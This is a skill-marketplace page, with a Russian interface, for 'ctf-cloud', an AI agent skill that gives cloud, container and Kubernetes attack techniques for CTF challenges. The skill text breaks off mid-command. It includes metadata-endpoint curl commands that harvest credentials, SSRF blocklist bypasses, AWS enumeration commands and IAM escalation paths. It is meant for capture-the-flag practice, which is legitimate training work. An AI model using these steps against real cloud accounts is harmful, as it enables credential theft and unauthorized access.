ctf-cloud
БесплатноБез исполняемых скриптовНе проверенProvides cloud, container and Kubernetes attack techniques for CTF challenges. Use when a challenge involves AWS, Azure or GCP credentials, instance metadata…
от jiayaoqijia★ 81 звезда на GitHubОб этом скилле
CTF Cloud, Container & Kubernetes
Cloud challenges are almost always credential chains: find one credential, use it to read one more, escalate, then read the flag from the service that holds it. Map the chain before firing tools.
Scope and safety
Only touch accounts, endpoints and clusters the challenge gives you. Never run enumeration against real cloud accounts, and never leave IAM users, access keys or pods behind on shared infrastructure. Keep artifacts under ctf-solver/workspaces/<challenge>/.
Prerequisites
pip install awscli boto3 # awscli is already present in the ctf-solver image
# optional, per target:
# azure-cli, google-cloud-cli, kubectl, kubelet, docker CLI, jq
The container ships aws and jq but not kubectl, docker, az or gcloud — check with command -v before planning a step that needs them, and install only what the challenge actually requires.
Step 1: What do you actually hold?
| You have | Start here |
|---|---|
| An SSRF, URL fetch, or "preview link" feature | Metadata endpoints below |
AWS_* env vars, ~/.aws/credentials, or a key in a response |
Credential triage |
A kubeconfig, KUBERNETES_SERVICE_HOST, or a file at /var/run/secrets/kubernetes.io/serviceaccount/token |
Kubernetes |
/var/run/docker.sock, docker group, CAP_SYS_ADMIN, or a privileged container |
Container escape |
A repo with terraform/, cloudformation/, .github/workflows/, .gitlab-ci.yml |
CI/CD and IaC |
| A Lambda/Function URL or a serverless invoke permission | Serverless |
Metadata endpoints
# AWS EC2 (IMDSv1) — role name first, then credentials
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl -s http://169.254.169.254/latest/user-data
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document
# AWS EC2 (IMDSv2) — a token is required, so a plain GET returns 401
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# AWS ECS / Fargate task role
curl -s "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"
# GCP — the header is mandatory
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/project/attributes/
# Azure — the Metadata header is mandatory
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Others: DigitalOcean /metadata/v1/, Alibaba 100.100.100.200, OpenStack 169.254.169.254/openstack
SSRF notes that decide these challenges:
- IMDSv2 needs a PUT, so an SSRF that only follows GETs will fail against a hardened instance. Look for a redirect or a request-method primitive.
- AWS also answers on
http://[fd00:ec2::254]over IPv6 — useful when the SSRF blocks the IPv4 literal but allows a bracketed IPv6 host. - A blocklist for
169.254.169.254is often bypassable with decimal/octal/hex IPs (2852039166,0251.0376.0251.0376), a DNS name resolving to it, or a redirect from an allowed host. user-datafrequently contains bootstrap secrets, andinstance-identity/documentgives region and account ID needed for CLI calls.
Credential triage (AWS)
aws sts get-caller-identity # who am I, which account
export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... AWS_DEFAULT_REGION=us-east-1
# enumerate what this identity can see
aws iam list-attached-user-policies --user-name <me>
aws iam list-user-policies --user-name <me>
aws iam get-policy-version --policy-arn <arn> --version-id v1
aws s3 ls
aws secretsmanager list-secrets
aws ssm describe-parameters
aws lambda list-functions
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,Tags]'
If the identity is a role, aws sts assume-role into anything its trust policy allows — a trust policy with "Principal": {"AWS": "*"} and no ExternalId condition is the usual intended path.
IAM escalation primitives worth testing in order of reliability:
iam:CreatePolicyVersionwith--set-as-defaulton a policy you already attach to yourselfiam:AttachUserPolicy/PutUserPolicy(self-attachAdministratorAccess)iam:PassRole+lambda:CreateFunction(orec2:RunInstances) → run as a more privileged rolelambda:UpdateFunctionCodeon an existing function → execute inside its role, then reados.environiam:CreateAccessKeyon another user,sts:AssumeRoleon a permissive role
S3 specifics: aws s3 ls s3://<bucket> --no-sign-request tests for public read; `aws s3 cp s3:/
Установить ctf-cloud в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
BashReadWriteEditGlobGrepTaskWebFetchWebSearchSkillВложенные файлы
FAQ
Что делает скилл ctf-cloud?
Provides cloud, container and Kubernetes attack techniques for CTF challenges. Use when a challenge involves AWS, Azure or GCP credentials, instance metadata (169.254.169.254), S3 or blob storage, IAM policies, ECS task roles, Lambda, a Kubernetes service-account token or kubelet, a Docker socket or container escape, a privileged pod, CI/CD runner secrets, or leaked Terraform and cloud-init configuration. Also use when an SSRF reaches a metadata endpoint or cloud credentials appear in an environment, config file or response. Do not use it for plain web application bugs with no cloud layer, native binary memory corruption, or disk and memory forensics.
Как установить скилл ctf-cloud?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл ctf-cloud запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
ci-review
The scan that the plugin's GitHub Action runs.
от Anthropicazure-static-web-apps
Helps create, configure, and deploy Azure Static Web Apps using the SWA CLI. Use when deploying static sites to Azure, setting up SWA local development…
от GitHubai-ready
Make any repo AI-ready — analyzes your codebase and generates AGENTS.md, copilot-instructions.md, CI workflows, issue templates, and more. Mines your PR…
от GitHubaws-cdk-python-setup
Setup and initialization guide for developing AWS CDK (Cloud Development Kit) applications in Python. This skill enables users to configure environment…
от GitHub